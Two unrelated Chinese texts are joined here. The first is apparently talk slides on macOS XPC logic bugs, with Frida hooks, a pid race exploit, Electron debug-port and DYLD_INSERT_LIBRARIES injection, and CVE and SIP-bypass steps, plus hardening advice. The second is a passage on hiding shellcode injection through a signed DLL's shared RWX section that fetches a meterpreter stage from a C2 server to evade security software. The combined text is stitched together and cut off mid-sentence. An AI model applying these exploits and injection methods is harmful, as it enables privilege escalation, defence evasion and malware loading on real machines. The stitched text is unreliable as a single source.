 使⽤用 js 脚本,⽆无需编译,内置 Objective C 运⾏行行时插桩 XPC 抓包改包 • 接收端: • (未导出函数)_xpc_connection_call_event_handler • 发送端: • xpc_connection_send_message(with_reply(_sync)) • 对象类型均继承于 OS_xpc_object:typedef NSObject<OS_xpc_object> *xpc_object_t; • 可直接⽤用 Objective C 运⾏行行时获取 description,或使⽤用 char * xpc_copy_description(xpc_object_t object); • https://github.com/chichou/xpcshark 接收端 Interceptor.attach(DebugSymbol.getFunctionByName('_xpc_connection_call_event_handler'), { onEnter: function (args) { console.log(new ObjC.Object(args[0])); console.log(new ObjC.Object(args[1])); } }); <OS_xpc_connection: <connection: 0x7ffb14695d30> { name = com.apple.system.opendirectoryd.api, listener = false, pid = 102, euid = 0, egid = 0, asid = 100000 }> <OS_xpc_dictionary: <dictionary: 0x7ffb16d76d80> { count = 4, transaction: 1, voucher = 0x7ffb16d76af0, contents =     "data" => <data: 0x7ffb16d76fb0>: { length = 116 bytes, contents = 0x62706c6973743030d2010203045866756e636e616d65546e... }     "error" => <uint64: 0x7ffb16d76ff0>: 0     "client_id" => <uint64: 0x7ffb16d77010>: 1     "complete" => <bool: 0x7fff8c397b78>: true }> <OS_xpc_connection: <connection: 0x7ffb14695d30> { name = com.apple.system.opendirectoryd.api, listener = false, pid = 102, euid = 0, egid = 0, asid = 100000 }> <OS_xpc_dictionary: <dictionary: 0x7ffb16c431b0> { count = 4, transaction: 1, voucher = 0x7ffb16c60f80, contents =     "data" => <data: 0x7ffb16c48420>: { length = 91 bytes, contents = 0x62706c6973743030d101025866756e636e616d655f10214f... }     "error" => <uint64: 0x7ffb16c48200>: 0     "client_id" => <uint64: 0x7ffb16c4eca0>: 2     "complete" => <bool: 0x7fff8c397b78>: true }> 发送端 function hook(symbol) { Interceptor.attach(Module.findExportByName(null, symbol), { onEnter: function (args) { const conn = new ObjC.Object(args[0]); const msg = new ObjC.Object(args[1]); const content = [symbol + ':', conn, msg]; if (symbol === 'xpc_connection_send_message_with_reply' && !args[3].isNull()) {
 // 处理理 block 回调,篇幅限制省略略 } console.log(content.join('\n')); }, onLeave(retVal) { if (symbol === 'xpc_connection_send_message_with_reply_sync') { console.log('send sync, reply:\n' + new ObjC.Object(retVal)); } } }) } hook('xpc_connection_send_message'); hook('xpc_connection_send_message_with_reply'); hook('xpc_connection_send_message_with_reply_sync'); NSXPCConnection • 接收端和发送端使⽤用 Objective C 的 @protocol 约定接⼝口和参数类型
 • 发送端使⽤用 remoteObjectProxy 调⽤用远程过程,使⽤用异步接⼝口 @protocol PrivilegedOperation <NSObject> - (void)addItem:(NSString *) reply:(void (^)(BOOL status, NSError *err))reply; @end NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"MyAgent" options:NSXPCConnectionPrivileged]; connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(PrivilegedOperation)]; [connection resume]; [connection.remoteObjectProxy addItem:@"test" withReply:^(BOOL status, NSError *err) { NSLog(@"OK"); }]; bplist16? • NSXPCConnection 的远程调⽤用会被序列列化成 bplist16 私有格式保存到 dictionary 的 root 属性 • 公开的⼯工具 / 代码 • http://newosxbook.com/tools/simplistic.html • TripleFetch exploit by Ian Beer https://github.com/iabem97/saigon/ blob/master/saigon/triple_fetch/minibplist16.c • 直接 hook protocol 声明的 ObjectiveC ⽅方法分析 CleanMyMac 3.9.5 本地权限提升 • 安装 com.macpaw.CleanMyMac3.Agent 到 PrivilegedHelper • XPC 服务完全没有对客户端做任何校验。提供部分接⼝口如下:
 • runPeriodicScript 以 root 权限执⾏行行 /usr/sbin/periodic • periodic ⽀支持传⼊入⽬目录名作为参数,遍历执⾏行行其中所有的可执⾏行行⽂文件 @protocol CMPrivilegedOperation <NSObject> - (void)runPeriodicScript:(NSString *)arg1 withReply:(void (^)(BOOL, NSError *))arg2; - (void)moveItemAtPath:(NSString *)arg1 toPath:(NSString *)arg2 withReply:(void (^)(BOOL, NSError *))arg3; - (void)enableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void (^)(BOOL, NSError *))arg2; - (void)startStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL, NSError *))arg2; @end 如何对 XPC 客户端做校验? • xpc_connection_set_event_handler 设置的 handler block 中处理理 xpc_get_type(event) == XPC_TYPE_CONNECTION 的事件 • xpc_connection_get_{gid,asid,egid,euid,audit_token} • -(BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection: (NSXPCConnection *)newConnection; 回调函数处理理传⼊入的 newConnection • NSXPCConnection processIdentifier, effectiveGroupIdentifier, effectiveUserIdentifier 和 auditToken 属性 • (注)xpc_connection_get_audit_token 和 [NSXPCConnection auditToken] 为私有 api 使⽤用 audit_token 校验代码签名 • SecTaskCreateWithAuditToken 获取 SecTaskRef • SecTaskValidateForRequirement 检查代码签名是否符合 requirement string
 (https://developer.apple.com/library/archive/documentation/Security/ Conceptual/CodeSigningGuide/RequirementLang/RequirementLang.html)
 例例如 anchor trusted and certificate leaf [subject.CN] = com.company pid 条件竞争 • SecCodeCopyGuestWithAttributes ⽀支持通过 pid 创建 SecTaskRef,为什什么不不使⽤用? • pid 可被复⽤用。exec* 函数甚⾄至⽀支持将当前 pid 替换成为⼀一个全新的进程 • XPC 从发送消息到接收消息之间存在时间窗⼝口,⾜足够替换掉进程绕过检查 • 预先发送多个消息塞满队列列 • 使⽤用⾮非阻塞函数 xpc_connection_send_message 或 NSXPCConnection 的封装 • 甚⾄至 libxpc ⾃自⼰己也犯过这个错误:https://bugs.chromium.org/p/project-zero/issues/detail? id=1223 • 第三⽅方软件更更是重灾区:https://github.com/google/macops-MOLXPCConnection/issues/3 pid 条件竞争 #define COUNT 10 int pids[COUNT]; for (int i = 0; i < COUNT; i++) { int pid = fork(); if (pid == 0) { xpc_connection_t connection = xpc_connection_create_mach_service("Helper", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {}); xpc_connection_resume(connection); xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0); xpc_connection_send_message(connection, message); char* target_binary = “/path/to/valid signed binary”; char* target_argv[] = {target_binary, NULL}; exec_blocking(target_binary, target_argv, environ); } else { pids[i] = pid; } } sleep(1); for (int i = 0; i < COUNT; i++) { pids[i] && kill(pids[i], 9); } 签名检查⾜足够了了? • 动态加载⽆无签名的库 ➜ ~ /Applications/Xcode.app/Contents/Developer/usr/share/xcs/Node/bin/node > process.dlopen({}, '/Applications/Visual Studio Code.app/Contents/Frameworks/Mantle.framework/Mantle') Error: Module did not self-register. at Error (native) at repl:1:9
 ➜ ~ codesign -dvvv -R="anchor apple" 88137 Executable=/Applications/Xcode.app/Contents/Developer/usr/share/xcs/Node/bin/node Identifier=com.apple.node Format=Mach-O thin (x86_64) CodeDirectory v=20200 size=128398 flags=0x0(none) hashes=4008+2 location=embedded Hash type=sha256 size=32 欺骗第三⽅方软件 更更没有问题 模块注⼊入 • dlopen / CFBundle / NSBundle 等动态加载模块 • 部分软件存在使⽤用环境变量量或从命令⾏行行参数中动态加载插件的机制 • dylib 劫持:Dylib hijacking on OS X • 存在使⽤用了了相对路路径的 LC_RPATH 的 LoadCommand,且 LC_LOAD*_DYLIB 的路路径使⽤用了了 @rpath 前缀 • 或包含⼀一个指向不不存在路路径的 LC_LOAD_WEAK_DYLIB • DYLD 环境变量量,如典型的 DYLD_INSERT_LIBRARIES • 脚本语⾔言解释器器 环境变量量注⼊入 CF_PRIVATE void *__CFLookupCFNetworkFunction(const char *name) { static void *image = NULL; if (NULL == image) {     const char *path = NULL; if (!__CFProcessIsRestricted()) {      path = __CFgetenv("CFNETWORK_LIBRARY_PATH");     }     if (!path) {      path = "/System/Library/Frameworks/CFNetwork.framework/CFNetwork";     }     image = dlopen(path, RTLD_LAZY | RTLD_LOCAL); ⼀一些系统库可能会尝试环境变量量指定的 dylib(注) CoreFoundation 使⽤用 CFNETWORK_LIBRARY_PATH 查找 CFNetwork ImageIO 使⽤用 RAWCAMERA_BUNDLE_PATH 查找 RawCamera 库 dyld_process_is_restricted • dyld 在如下情况会将进程标记为受限制 • 可执⾏行行⽂文件具有 setuid 属性 • 存在 __restrict 或者 __RESTRICT 区段 • 代码签名中有 entitlement • 受限制的进程会忽略略 DYLD_* 环境变量量,以及主动忽略略前⽂文提到的 bundle 替换 滥⽤用脚本解释器器 • 脚本解释器器天⽣生可以执⾏行行代码 • 滥⽤用解释器器⾃自带的合法数字签名(根本就不不⽤用绕过) • lua、node.js 常⻅见于软件包中 • 特别地,Electron、nw.js、Bracket-Shell,libCEF 等⽀支持 Chromium 远程调试, 变相的 node.js 环境 • 使⽤用脚本直接实现 IPC • 或者利利⽤用引擎的 dlopen 接⼝口加载⼆二进制库 __import__('ctypes').cdll.LoadLibrary('/path/to/dylib')
 # or
 getattr(__import__('ctypes').cdll, '/path/to/dylib') Python node.js process.dlopen({}, '/path/to/dylib') ➜ ~ irb irb(main):001:0> require '/System/Library/CoreServices/ TouchBarEvent' Ruby lua package.loadlib('bin/evil.dylib', '') • adobe/brackets-shell • 基于 LibCEF,默认启⽤用 remote_debugging_port(TCP 9234),向 renderer 注⼊入 node.js 代码 • nw.js 和 Electron • —remote-debugging-port= 可打开基于 WebSocket 的远程调试协议,向 renderer 注⼊入 node.js 代码 • Electron ⽀支持 v8 调试协议,可向主进程注⼊入 node.js 代码 • —inspect-brk=port(旧版本为 —debug-brk=) • 基于 TCP 协议,格式略略像 HTTP 基于⽹网⻚页的桌⾯面界⾯面 v8-inspect 注⼊入 electron const port = 5858; const electron = ‘/Applications/Awesome.app/Contents/MacOS/Electron'; const dylib = ‘/path/to/evil/payload‘; const p = spawn(electron, [`--inspect-brk=${port}`, `--debug-brk=${port}`]); setTimeout(() => { const client = createConnection({ port: 5858 }, () => { const json = { command: 'evaluate', type: 'request', seq: 1, arguments: { expression: `process.dlopen(${dylib})`, global: true } }; const body = Buffer.from(JSON.stringify(json)); const header = `Content-Length: ${body.length}\r\n\r\n`; client.write(header); client.write(body); client.end(); }).on('end', () => process.exit()); }, 500); CVE-2018-6962 VMWare Fusion 签名绕过 • 传⼊入内核扩展的设备名,返回打开的 f • 使⽤用签名验证,XPC 仅允许 VMWare Fusion 的组件调⽤用 ⽩白名单规则 Process 28365 stopped * thread #2, queue = 'com.apple.root.default-qos.overcommit', stop reason = breakpoint 2.1 frame #0: 0x00007fff37782220 CoreFoundation`CFBundleGetValueForInfoDictionaryKey CoreFoundation`CFBundleGetValueForInfoDictionaryKey: -> 0x7fff37782220 <+0>: push rbp 0x7fff37782221 <+1>: mov rbp, rsp 0x7fff37782224 <+4>: push r14 0x7fff37782226 <+6>: push rbx Target 0: (com.vmware.VMMonHelper) stopped. (lldb) po $rax CFBundle 0x7fc291c0ca40 </Library/PrivilegedHelperTools> (executable, loaded) (lldb) po CFBundleGetValueForInfoDictionaryKey($rax, @"XPCService") { "_AllowedClients" = "info[CFBundleIdentifier] = \"com.vmware.\"* and anchor apple generic and anchor trusted and cert leaf[subject.CN] = *\"VMware, Inc.\"*"; } CVE-2018-6962 VMWare Fusion 签名绕过 • 使⽤用了了可条件竞争的 pid 作为签名检查参数 • 可执⾏行行⽂文件可使⽤用环境变 量量注⼊入模块 CVE-2018-6962 VMWare Fusion 签名绕过 ➜ ~ ll /dev/vmmon crw------- 1 root wheel 40, 1 Jun 15 16:23 /dev/vmmon
 ➜ ~ DYLD_INSERT_LIBRARIES=/tmp/libparasitic.dylib "/Applications/VMware Fusion.app/Contents/Library/VMware Fusion Start Menu.app/Contents/MacOS/VMware Fusion Start Menu" 2018-04-12 16:53:57.803 VMware Fusion Start Menu[30190:6859730] reply: <dictionary: 0x7fe6097001c0> { count = 2, transaction: 0, voucher = 0x0, contents = "fd" => <fd: 0x7fe609700280> { type = (invalid descriptor), path = /dev/vmmon } "status" => <int64: 0x7fe6097002d0>: 0 } • DYLD_INSERT_LIBRARIES 注⼊入⽩白名单程序,成功打开设备通信 CVE-2018-4991 Adobe Creative Cloud 本地提权 <?xml version="1.0" encoding="UTF-8"?> <action> <actionType>createProcess</actionType> <actionArgs><cmdArgs><cmdArg>--pipename=25D51488-9FD7-4A81-B815-5997A6EBAF25</cmdArg> </cmdArgs> <processPath>/Library/Application Support/Adobe/Adobe Desktop Common/ElevationManager/Adobe Installer</ processPath> </actionArgs> </action> 特权通信基于 NSXPCConnection,参数通过 XML 再次封装。提供了了⼀一个 createProcess 接⼝口 不不仅在 listener:shouldAcceptNewConnection: 检查客户端,
 对创建的⽬目标进程也有(没有⽤用的)签名检查 CVE-2018-4991 Adobe Creative Cloud 本地提权 对⽂文件检查签名。macOS 根本不不会锁定正在执⾏行行 中的⽂文件 检查过程中使⽤用 usleep 增⼤大时间窗⼝口 没有使⽤用 codesign 内置的 requirement string 语法 验证,⽽而是⾃自⾏行行对输出做字符串串解析 根本就不不需要绕过签名 • Adobe Creative Cloud ⾃自带了了⼀一个有签名的 node.js
 /Applications/Utilities/Adobe Creative Cloud/CCLibrary/CCLibrary.app/ Contents/libs/node • 甚⾄至还出现在 Brackets 编辑器器⾥里里 ➜ ~ codesign -dvvv /Applications/Brackets.app/Contents/MacOS/Brackets-node Executable=/Applications/Brackets.app/Contents/MacOS/Brackets-node Identifier=Brackets-node Format=Mach-O thin (x86_64) CodeDirectory v=20200 size=240909 flags=0x0(none) hashes=7524+2 location=embedded 加固你的 XPC 服务 • 设计上避免“帮我执⾏行行⼀一个命令”的接⼝口 • 使⽤用⽩白名单限制可连接的客户端 • 同时使⽤用 entitlement 和代码签名 • 使⽤用 Library Validation 加固可执⾏行行⽂文件 entitlement • 嵌⼊入在代码签名⾥里里的 plist(XML 格式) • 可使⽤用 Xcode,或 codesign ⼯工具⼿手动添加 • 使⽤用 csops 验证,上层封装了了多种 API • [NSXPCConnection valueForEntitlement:] • xpc_connection_copy_entitlement_value • SecTaskCreateWithAuditToken, SecTaskCopyValueForEntitlement • 添加了了 entitlement 的可执⾏行行⽂文件,dyld 会忽略略 DYLD* 环境变量量(注) 不不要关闭 SIP • 在 SIP 处于关闭的状态下,entitlement 不不限制 DYLD 环境变量量
 • 通过附加到 /System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/ Setup Assistant,可滥⽤用其 entitlement 与 com.apple.mbsystemadministration 服 务通信,以指定密码创建管理理员账户,获得 root 权限
 https://gist.github.com/ChiChou/e3a50f00853b2fbfb1debad46e501121 • DEFCON 2018 预选赛 IPwnKit 的⾮非预期解法,⽩白捡了了⼀一⾎血 🤣     bool usingSIP = (csr_check(CSR_ALLOW_TASK_FOR_PID) != 0); uint32_t flags;     if ( csops(0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1 ) {         // On OS X CS_RESTRICT means the program was signed with entitlements         if ( ((flags & CS_RESTRICT) == CS_RESTRICT) && usingSIP ) {             gLinkContext.processIsRestricted = true;         } Library Validation • 可以防⽌止签名不不同(除⾮非是苹果的 platform library)的动态库被加载:https:// developer.apple.com/library/content/documentation/Security/Conceptual/CodeSigningGuide/ Procedures/Procedures.html#//apple_ref/doc/uid/TP40005929-CH4-SW9
 • Library Validation 可以同时防御脚本解释器器、恶意插件、dylib 劫持等模块动态注⼊入的攻击 • Xcode 中添加 Other Code Signing Flags: -o library • ⼿手动 codesign -s <identity> -o library Example.app(同上) • 运⾏行行时调⽤用 csops,设置进程的 CS_REQUIRE_LV 标志位(不不推荐) ➜ ~ jtool --sig -v /Applications/Safari.app
 Blob at offset: 8448 (12720 bytes) is an embedded signature of 8161 bytes, and 4 blobs
 Blob 0: Type: 0 @44: Code Directory (321 bytes)
 Version: 20100
 Flags: none (0x2000) Safari 沙箱内纯逻辑弹计算器器 • 从 WebContent 进程启动 可控的任意程序(⾮非 url scheme) • 鸡肋肋:需要执⾏行行任意下载 到本地的代码还需要组合 另⼀一个条件 • 弹已经存在的 App,如计 算器器绰绰有余 SamplingTools (EoP?) SIP 绕过 • com.apple.SamplingTools:/usr/bin/ {filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample,m alloc_history32,symbols,vmmap,leaks,stringdups,malloc_history} 等,可 ⽤用来对进程进⾏行行采样、符号化等⼯工作 • 对⾮非 root 执⾏行行的进程,SamplingTools ⽆无需 root 即可使⽤用 • 具有 com.apple.system-task-ports entitlement,可免 root task_for_pid(注*),且可通过 (rootless-proc-filter) 检查调试受保护进程 CoreSymbolication 模块注⼊入 • 对 swift 程序符号进⾏行行 demangling:
 /usr/bin/symbols [swift_app_pid] -printDemangling • libswiftDemangle.dylib!swift_demangle_getSimplifiedDemangledName • 按照如下顺序尝试 dlopen • /System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib • /Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib • xcselect_get_developer_dir_path() /Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib • 没有额外的签名检查 强制回退到外部动态库 • libxcselect! xcselect_get_developer_dir_path
 优先返回 DEVELOPER_DIR 环境变 量量 • 预装了了 swift?加沙箱拒绝访问 (allow default) (deny file-read* (literal "/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib") (literal "/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib") ) 12 libdyld.dylib 0x00007fff5178ad86 dlopen + 86 13 com.apple.CoreSymbolication 0x00007fff3d800332 invocation function for block in call_external_demangle(char const*) + 348 14 libdispatch.dylib 0x00007fff5174fe08 _dispatch_client_callout + 8 15 libdispatch.dylib 0x00007fff5174fdbb dispatch_once_f + 41 16 com.apple.CoreSymbolication 0x00007fff3d7a380f demangle + 298 17 com.apple.CoreSymbolication 0x00007fff3d7a35e3 TRawSymbol<Pointer64>::name() + 75 18 com.apple.CoreSymbolication 0x00007fff3d7a888e CSSymbolGetName + 166 19 symbols 0x000000010ffc386a 0x10ffb7000 + 51306 20 symbols 0x000000010ffc3cbe 0x10ffb7000 + 52414 21 com.apple.CoreSymbolication 0x00007fff3d7eba37 TRawSymbolOwnerData<Pointer64>::symbols_in_address_range(CSCppSymbolOwner*, TRange<Pointer64>, void (_CSTypeRef) block_pointer) + 127 22 symbols 0x000000010ffc3c8e 0x10ffb7000 + 52366 23 com.apple.CoreSymbolication 0x00007fff3d7eb890 TRawSymbolOwnerData<Pointer64>::regions_in_address_range(CSCppSymbolOwner*, TRange<Pointer64>, void (_CSTypeRef) block_pointer) + 124 24 symbols 0x000000010ffc3b6f 0x10ffb7000 + 52079 25 com.apple.CoreSymbolication 0x00007fff3d7c6c6a CSSymbolOwnerForeachSegment + 92 26 symbols 0x000000010ffc3af2 0x10ffb7000 + 51954 27 com.apple.CoreSymbolication 0x00007fff3d7adbee CSSymbolicatorForeachSymbolOwnerAtTime + 95 28 symbols 0x000000010ffc25b1 0x10ffb7000 + 46513 29 symbols 0x000000010ffc00ee 0x10ffb7000 + 37102 绕过签名保护? ➜ bin codesign -dvvv symbols Identifier=com.apple.SamplingTools Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=1384 flags=0x2000(library-validation) hashes=36+5 location=embedded Platform identifier=4 Hash type=sha256 size=32 ➜ bin codesign -dvvv symbols Identifier=com.apple.SamplingTools Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=812 flags=0x0(none) hashes=32+5 location=embedded Platform identifier=1 Hash type=sha1 size=20 10.11 10.13 🤣 😄 利利⽤用过程 • 释放 Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib • sandbox_init_with_parameters • setenv(DEVELOPER_DIR,… • 创建旧版本的带签名进程:char *target_argv[] = {(char *)target_binary, pid_str, "-printDemangling", NULL}; • 使⽤用获取到的 task_for_pid 注⼊入任意具有 entitlement 的进程 提权? 使⽤用旧版本提取的 symbols,以⾮非 root 权限执⾏行行 将弹出申请授权对话框;除⾮非 sudo /usr/sbin/ DevToolsSecurity -enable 启⽤用开发者模式 ⽽而系统⾃自带的没有任何问题 绕过 SIP ➜ sip git:(master) ✗ file /System/Library/sip.txt /System/Library/sip.txt: cannot open `/System/Library/sip.txt’ (No such file or directory)
 ➜ sip git:(master) ✗ sudo ./bin/test [xianzhi] taytay pid: 42472 sleep [xianzhi] module: 0x7fb3415207d0 [xianzhi] bootstrapfn: 0x109915d90 [xianzhi] pid: 386 mach_inject: found threadEntry image at: 0x109915000 with size: 9544 [xianzhi] inject dylib returns 0
 ➜ sip git:(master) ✗ file /System/Library/sip.txt /System/Library/sip.txt: ASCII text, with no line terminators ➜ sip git:(master) ✗ cat /System/Library/sip.txt hello% ➜ sip git:(master) ✗ sudo rm /System/Library/sip.txt Password: override rw-r--r-- root/wheel restricted for /System/Library/sip.txt? y rm: /System/Library/sip.txt: Operation not permitted 以任意 entitltment 执⾏行行代码,在 root 权限下仍然可以⽤用来过 SIP https://github.com/ChiChou/10.13.5-sip-bypass 10.14 测试版修复 High Sierra Mojave ELK 的副业 • LIEF:解析符号、区段 等元数据 • classdump, nm, jtool 等 ⼯工具的输出 • ⽐比 grep 更更⽅方便便 • TODO:集成 IDAPython? 再定制⼀一下 UI 结论 • 操作系统时⾄至今⽇日仍然可以找到⼀一些⾮非常有趣的纯逻辑漏漏洞洞 • 逻辑漏漏洞洞需要多条件串串联才可以完整利利⽤用,会遇到很多明明有问题但很鸡肋肋 的现象;内存破坏往往能提供更更多的可控能⼒力力 • Apple ⽂文档不不够完善,还将⼀一些重要的接⼝口设置为私有,导致此类问题在第 三⽅方软件上层出不不穷 参考 • Jonathan Levin Mac OS X and iOS Internals • Ian Beer Auditing and Exploiting Apple IPC
 (along with his blog posts and bug reports) • Patrick Wardle Stick That In Your (root)Pipe & Smoke It, Reversing to Engineer: Learning to 'Secure' XPC from a Patch • Apple Developer Site • Along with other write-ups
pdf
前⾔ 常规的shellcode注⼊⼀般是通过 VirtualAllocEx , WriteProcessMemory 和 CreateRemoteThread 来实现的,但是这种⽅式是被安全软件重点监控的,同时微软提供的 ETW接⼝也是可以轻易检测出上述⽅式进⾏代码注⼊的痕迹。本⽂的核⼼是讲解怎么利⽤具 备 RWX-S 权限且⾃身有签名的⽩DLL进⾏⼀种⽐较隐蔽的shellcode注⼊, 并讲解具体的代码实现以及在写代码实现的过程中遇到的坑。本⽅法是由⽂章提出的:https: //billdemirkapi.me/sharing-is-caring-abusing-shared-sections-for-code-injection/ ,详情可 以参考此⽂章。 基础知识回顾 PE⽂件的每个section都具备⾃⼰的权限,表明他被映射到虚拟内存之后的操作权限,也就是 SECTION_CHARACTERISTICS 这个字段,占四个字节。 通常来讲 .text 节区只具备 IMAGE_SCN_MEM_READ 和 IMAGE_SCN_MEM_EXECUTE 权 限, .data 节区⼀般只具备 IMAGE_SCN_MEM_READ , IMAGE_SCN_MEM_WRITE 权限。 当PE⽂ 件被映射到内存后,对⼀个不具备 IMAGE_SCN_MEM_WRITE 权限的节区进⾏写操作或者对⼀ 个没有 IMAGE_SCN_MEM_EXECUTE 的节区进⾏执⾏时,都会报异常。 看微软的⽂档:document, 会发现⼀个权限叫做 IMAGE_SCN_MEM_SHARED 。 那共享到底意味 着什么?据测试显示:具备此权限的section会被当前系统所有的进程共享,如果进程A和进 程B都加载了具备IMAGE_SCN_MEM_SHARED权限的模块C,那么模块C的此section在系 统层⾯上只有⼀份,这也就意味着A进程对C的修改(有IMAGE_SCN_MEM_WRITE权限) 会影响到B进程 那么思路就来了,如果⼀个模块的某个节区是具备 RWX-S 权限,我只需要把它加载到进程A 中,然后修改它的内容为恶意代码,然后想办法让他加载到进程B中,就可以实现在B中执⾏ 恶意代码了, 那这种利⽤主要分为如下⼏个步骤: ⾄于怎么去找⼀个具备 RWX-S权限的签名dll,原⽂作者也提供了⼀个yara规则在virustotal上 来筛选,不再细说: 这⾥提供⼀个我找到的DLL: https://www.virustotal.com/gui/file/855277c0aeea89d17a07e27 e9cf79c98b26e70e8e57561c4b592097e0032c4e9, 以后的代码都是基于此DLL完成的。 1. 找到⼀个有签名的并且具备 RWX-S 权限的dll。(不具备RWX-S权限也可以,可以patch系 统内的已签名的dll,但是这样会破坏签名,不够隐蔽) 2. 将DLL加载到进程A的内存⾥,修改 RWX-S 权限的section的代码进⾏patch 3. 调⽤ SetWindowsHookEx,使⽤DLL中的某个函数指针作为 HOOKPROC 参数,使得DLL被 注⼊到⽬标进程B中。 4. ⽬标进程B加载DLL,并触发恶意代码执⾏。 import "pe" rule RWX_S_Signed_Search { meta: description = "Detects RWX-S signed binaries. This only verifies that the image contains a signature, not that it is valid." author = "Bill Demirkapi" condition: for any i in (0..pe.number_of_sections - 1): ( (pe.sections[i].characteristics & pe.SECTION_MEM_READ) and (pe.sections[i].characteristics & pe.SECTION_MEM_EXECUTE) and (pe.sections[i].characteristics & pe.SECTION_MEM_WRITE) and (pe.sections[i].characteristics & pe.SECTION_MEM_SHARED) ) and pe.number_of_signatures > 0 } 其实这⾥⾯最关键的是步骤⼆,主要涉及两个问题: 1. patch什么位置可以保证此DLL被进程B加载之后,恶意代码⼀定会被执⾏ 2. patch成什么样的代码才能保证进程B不会因为运⾏异常⽽崩溃 先回答问题1:当前DLL被进程B加载后⼀定会被执⾏的有两个函数,分别是 DllMain 和 设 置给 SetWindowsHookEx 的消息hook函数, 我觉得这两个函数中 DllMain 更合适被patch为 恶意代码,理由是 hook procedure 在每次有对应消息需要处理的时候都会被调⽤,这会导 致我们的恶意代码被执⾏很多次,这显然不是我们想要的。同时 DllMain 在被进程加载的那 ⼀刻就会执⾏,能够保证我们的shellcode在第⼀时间被执⾏。 patch DllMain为恶意代码 此时就有⼈说了,patch DllMain很简单啊,加载这个dll之后,获取 imagebase,然后解析PE 头找到entrypoint,将 msfvenom ⽣成的shellcode直接复制 imagebase + entrypoint 的位置 就可以了。 开始我也是这么认为的,但是事实证明,这样不⾏。 我们来看 DllMain的函数声明: BOOL WINAPI DllMain( HINSTANCE hinstDLL, // handle to DLL module DWORD fdwReason, // reason for calling function LPVOID lpReserved ) // reserved { // Perform actions based on the reason for calling. switch( fdwReason ) { case DLL_PROCESS_ATTACH: // Initialize once for each new process. // Return FALSE to fail DLL load. break; case DLL_THREAD_ATTACH: // Do thread-specific initialization. break; 此函是有返回值的,当对应的 fdwReason 操作成功后,必须返回 TRUE/FALSE。 此函数直 接被替换为 meterpreter 的 shellcode,就会导致此函数⽆法返回。这种情况下的DLL加载是 在系统新开的⼀个线程中完成的,如果 DllMain 回调函数不返回,系统就会kill掉这个线 程,以⾄于我们⾃⼰的恶意代码⽆法持续的执⾏,那解决办法就是要在 DllMain 中新开⼀个 线程,在线程⾥执⾏恶意代码,然后此函数返回。 由于这⼀段代码需要在B进程的进程空间中执⾏,此时没有任何地址相关的信息,所以这⼀段 代码必须要写成shellcode才能正常执⾏ 由于要⾃⼰写⼀段shellcode,那我们就没有必要再去使⽤ meterpreter 的shellcode了,也 就是说这⼀段代码要完成 meterpreter 第⼀阶段的功能,直接下载stage2 的代码,然后使 ⽤ CreateThread 进⾏执⾏,所以基本的代码框架: case DLL_THREAD_DETACH: // Do thread-specific cleanup. break; case DLL_PROCESS_DETACH: // Perform any necessary cleanup. break; } return TRUE; // Successful DLL_PROCESS_ATTACH. } BOOL WINAPI DllMain( HINSTANCE hinstDLL, // handle to DLL module DWORD fdwReason, // reason for calling function LPVOID lpReserved ) // reserved { switch( fdwReason ) { case DLL_PROCESS_ATTACH:{ // 1. 加载 ws2_32.dll // 2. 获取与socket相关的函数的地址 // 3. 连接socket, 如果连接失败,返回FALSE // 4. 申请内存空间,下载payload 要完成这样⼀段shellcode,我们是需要再创建⼀个项⽬,然后编写相关的c或者汇编代码,编 译完成之后把相对于的16进制copy到当前的项⽬中来,这样做⼀⽅⾯⽐较麻烦,容易出错; 另⼀⽅⾯不太灵活,不便于替换c2地址等操作。 我想要就在当前项⽬中完成,编译完之后,运⾏时patch进去,要怎么做呢? 仔细想⼀下,当 DllMain 回调函数被执⾏的时候,难道真的任何地址信息都没有提供吗?其 实不然。 看 DllMain 的第⼀个参数 hinstDLL 的值其实就是当前被加载模块的基址,有了这个基 址,理论上我们就可以访问到当前模块任何地址空间数据。 那思路有了: 我们可以让进程A向 DLL 相对于 imageBase 固定偏移的地⽅写⼊⼀些必要的函 数指针和数据,例如 LoadLibraryA , GetProcAddress 的函数的地址,以及 c2 的ip 和端⼝ 信息,然后 DllMain 被调⽤的时候会到指定偏移的地⽅读取这些数据,完成⾃⼰的功能,示 意图如下: // 5. 调⽤ CreateThread 执⾏payload ,然后返回 TRUE break; } case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: break; } return TRUE; // Successful DLL_PROCESS_ATTACH. } 下⾯实现就⽐较简单了,⾸先需要定义⼀下要向DLL中写⼊的数据的结构: 其中 fn 开头的存储的是对应函数的指针, char 数组保存的是⼀些字符串信息,便于利⽤ 这些字符串获取到socket相关的函数的地址。最后 host 和 port 存储的c2的信息,flag 是 meterpreter 第⼀阶段向第⼆阶段的传参约定数据。不了解的可以去读⼀下 meterpreter 的源码,这⾥不再细说他的相关细节。 接下来将这个结构体初始化,然后放到固定偏移 OFFSET_TO_SHELLCODE 上去: 然后开始编写伪造的DllMain,也就是shellcode的主体代码,如下: ⾸先读取指定偏移获取之前存储的数据: 然后当 DLL_PROCESS_ATTACH 发⽣时,调⽤执⾏相关的操作加载远程的恶意代码: 然后将这段代码patch到DllMain的位置: ShellCodeEnd 是我定义的⼀个空的函数,他紧跟在 myDllMain 后⾯,主要是为了帮助我们 定位出函数 myDllMain 在⽂件中的⼤⼩。 patch hook procedure 函数防⽌程序崩溃 只经过上述patch的DLL是可以满⾜执⾏恶意代码的功能,但是会引起被注⼊程序的异常或者 